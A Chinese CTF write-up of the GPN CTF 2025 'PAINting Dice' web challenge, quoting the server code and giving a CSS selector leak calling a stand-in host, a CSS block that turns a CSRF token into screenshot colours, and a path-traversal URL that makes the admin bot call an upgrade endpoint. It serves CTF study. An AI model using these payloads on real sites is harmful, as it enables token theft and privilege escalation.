当前位置: 首页 > news >正文

使用CSS泄露标签属性值 url路径遍历攻击 -- GPN CTF 2025 PAINting Dice

我们的目标是获得admin权限

// 升级profile API,只有管理员可用
sessionRouter.get('/api/upgrade/:profileId', requireCSRF, async (req, res, next) => {if (req.session.profileId !== 0) return res.render('error', { errorMsg: "You aren't a admin"});let profileIdParam = parseInt(req.params.profileId);if (profileIdParam === 0) return res.render('error', { errorMsg: "Can't upgrade the admin."});await db.upgradeProfile(profileIdParam);console.log("Profile upgraded")res.send("Profile upgraded.");
});// 获取flag,只有非管理员且有权限的用户可用
sessionRouter.get('/flag', noAdmin, async (req, res, next) => {let profileId = parseInt(req.session.profileId);if(!(await db.hasFlag(profileId))) return res.render('error', {errorMsg: "Sorry you don't have access to the flag."});res.send(flag);
});

服务器有以下过滤

// profile编辑API,带CSRF校验
sessionRouter.get("/api/profile/:profileId/edit", onlySelf, requireCSRF, noAdmin, async (req, res) => {let { style, html } = req.query;let customCSS = style ? String(style) : "";let customHTML = html ? String(html) : "";// 禁止css content属性if (customCSS.match(/content/i)) customCSS = ""; // I don't like css ::before and ::after content// 禁止闭合style标签if (customCSS.match(/<\s*\//i)) customCSS = ""; // Don't close the style tag// 过滤自定义HTML,禁止style标签customHTML = DOMPurify.sanitize(customHTML, {FORBID_TAGS: ['style']});if (customHTML.length > 2000 || customCSS.length > 2000) return res.render('error', {errorMsg: "Your html or style is to long."});// 更新数据库await db.updateProfile(req.session.profileId, customCSS, customHTML);res.redirect(`/profile/${req.session.profileId}`);
});

adminbot 存在一个漏洞profileId可以为任意内容

// 管理员访问profile,自动登录并截图
noSessionRouter.get('/admin/:profileId', async (req, res) => {try {let profileId = parseInt(req.params.profileId);// 这里profileId被重新赋值为字符串,可能是为了兼容profileId = req.params.profileId;// 启动puppeteer浏览器const browser = await puppeteer.launch({ executablePath: process.env.BROWSER, args: process.env.BROWSER_ARGS.split(',') });const page = await browser.newPage();// 管理员自动登录await page.goto(`http://localhost:1337/admin/login?adminToken=${adminToken}`);await new Promise(resolve => setTimeout(resolve, 1000));// 确保JS执行未被阻塞await page.waitForFunction('true');// 访问目标profile页面await page.goto('http://localhost:1337/profile/' + profileId);await new Promise(resolve => setTimeout(resolve, 1000));// 再次确保JS执行await page.waitForFunction('true');// 截图const screenshot = await page.screenshot();await browser.close();res.setHeader("Content-Type", "image/png");res.send(screenshot);} catch(e) {console.error(e); res.send("internal error :( pls report to admins")}
});

我立刻意识到可能可以控制特定参数造成xss,或削弱xss防御

ai向我描述了一种攻击方式,CSS选择器攻击,但是在本挑战中由于作用域的问题无法使用

<!DOCTYPE html>
<html>
<leak some="some">
<style>leak[some^="s"] { background-image: url('https://fake/yes_leak_some_begin_is_s'); }
</style>

将data-csrf转换为颜色,当管理员访问页面并截图时,攻击者从截图中提取颜色值

script{/* 从script标签的data-csrf属性获取CSRF token值并转为整数 */--rawToken: attr(data-csrf type(<integer>));/* 提取token的最低8位(0-255)作为背景色的蓝色通道值 */--background-blue: mod(var(--rawToken), 256);/* 移除已提取的最低8位,准备提取下一个字节 */--temp1: calc((var(--rawToken) - var(--background-blue)) / 256);/* 提取下一个8位作为背景色的绿色通道值 */--background-green: mod(var(--temp1), 256);/* 继续移除已提取的字节,提取下一个字节 */--temp2: calc((var(--temp1) - var(--background-green)) / 256);/* 提取背景色的红色通道值 */--background-red: mod(var(--temp2), 256);/* 继续移位操作,提取更高位的字节 */--temp3: calc((var(--temp2) - var(--background-red)) / 256);/* 提取边框色的蓝色通道值 */--font-blue: mod(var(--temp3), 256);/* 继续提取更高位的字节 */--temp4: calc((var(--temp3) - var(--font-blue)) / 256);/* 提取边框色的绿色通道值 */--font-green: mod(var(--temp4), 256);/* 提取最高字节作为边框色的红色通道 */--temp5: calc((var(--temp4) - var(--font-green)) / 256);--font-red: mod(var(--temp5), 256);/* 浏览器只支持32位整数,第一位是符号位,所以只使用31位 *//* 将边框色的绿色和红色通道强制设为0,防止溢出 */--font-green: 0;--font-red: 0;/* 根据提取的RGB值构建背景颜色 */--background-color: color(srgb calc(var(--background-red) / 255) calc(var(--background-green) / 255) calc(var(--background-blue) / 255));/* 根据提取的RGB值构建边框颜色 */--font-color: color(srgb calc(var(--font-red) / 255) calc(var(--font-green) / 255) calc(var(--font-blue) / 255));/* 将提取的颜色应用到元素上,使token可视化 */background-color: var(--background-color);border: 20px solid var(--font-color);/* 设置块元素显示,确保颜色区域足够大以便在截图中识别 */display: block;width: 500px;height: 500px;
}

管理员bot拼接url路径时未过滤 ../ 这允许我们进行url路径回退

// 管理员访问profile,自动登录并截图
noSessionRouter.get('/admin/:profileId', async (req, res) => {try {let profileId = parseInt(req.params.profileId);// 这里profileId被重新赋值为字符串,可能是为了兼容profileId = req.params.profileId;// 启动puppeteer浏览器const browser = await puppeteer.launch({ executablePath: process.env.BROWSER, args: process.env.BROWSER_ARGS.split(',') });const page = await browser.newPage();// 管理员自动登录await page.goto(`http://localhost:1337/admin/login?adminToken=${adminToken}`);await new Promise(resolve => setTimeout(resolve, 1000));// 确保JS执行未被阻塞await page.waitForFunction('true');// 访问目标profile页面await page.goto('http://localhost:1337/profile/' + profileId);await new Promise(resolve => setTimeout(resolve, 1000));// 再次确保JS执行await page.waitForFunction('true');// 截图const screenshot = await page.screenshot();await browser.close();res.setHeader("Content-Type", "image/png");res.send(screenshot);} catch(e) {console.error(e); res.send("internal error :( pls report to admins")}
});
{URL_PREFIX}/admin/{profile_id}%2F..%2F..%2F..%2F..%2F..%2Fapi%2Fupgrade%2F{profile_id}%3FcsrfToken%3D{leaked_csrf}
http://www.lqws.cn/news/529327.html

相关文章:

  • CSS 背景属性用于定义HTML元素的背景
  • 构思的股票交易模拟 3D 虚拟主题游戏《股海逐梦 3D》
  • c++17标准std::filesystem常用函数
  • HDFS(Hadoop分布式文件系统)总结
  • 面试破局:告别流水账,用“故事思维”重塑自我介绍
  • 【RESTful接口设计规范全解析】URL路径设计 + 动词名词区分 + 状态码 + 返回值结构 + 最佳实践 + 新手常见误区汇总
  • Word 中批量转换 LaTeX 公式为标准数学格式的终极方法(附宏设置教程)
  • 高弹性、高可靠!腾讯云 TDMQ RabbitMQ Serverless 版全新发布
  • DOA-BiLSTM+NSGAII+熵权TOPSIS,附气泡图!,梦境优化算法+深度学习+多目标优化+多属性决策!
  • Java底层原理:深入理解JVM性能调优与监控
  • Java设计模式->责任链模式的介绍
  • 什么是 MQTT?
  • Nordic nRF52832 寄存器级 UARTE 发送实现
  • Android-Layout Inspector使用手册
  • R语言机器学习算法实战系列(二十六)基于tidymodels的XGBoost二分类器全流程实战
  • ubuntu22.04系统kubeadm部署k8s高可用集群
  • 手机屏像素缺陷修复及相关液晶线路激光修复原理
  • 简单使用python
  • Milvus 资源调度系统的核心部分:「查询节点」「资源组」「数据库」
  • gitlab https链接转为ssh链接
  • Docker 网络——AI教你学Docker
  • Vue 2 项目中内嵌 md 文件
  • Windows 下使用 nvm 管理 Node.js 多版本 —— 完整指南
  • 动态规划之01背包问题
  • 互联网医院系统源码解析:如何实现视频问诊、电子处方等核心功能?
  • 焊接与热切割作业证用途有哪些
  • 【SpringBoot】Spring Boot + RESTful 技术实战指南
  • 数据结构进阶 - 第二章 线性表
  • 缓存与加速技术实践-MongoDB数据库应用
  • React:利用计算属性名特点更新表单值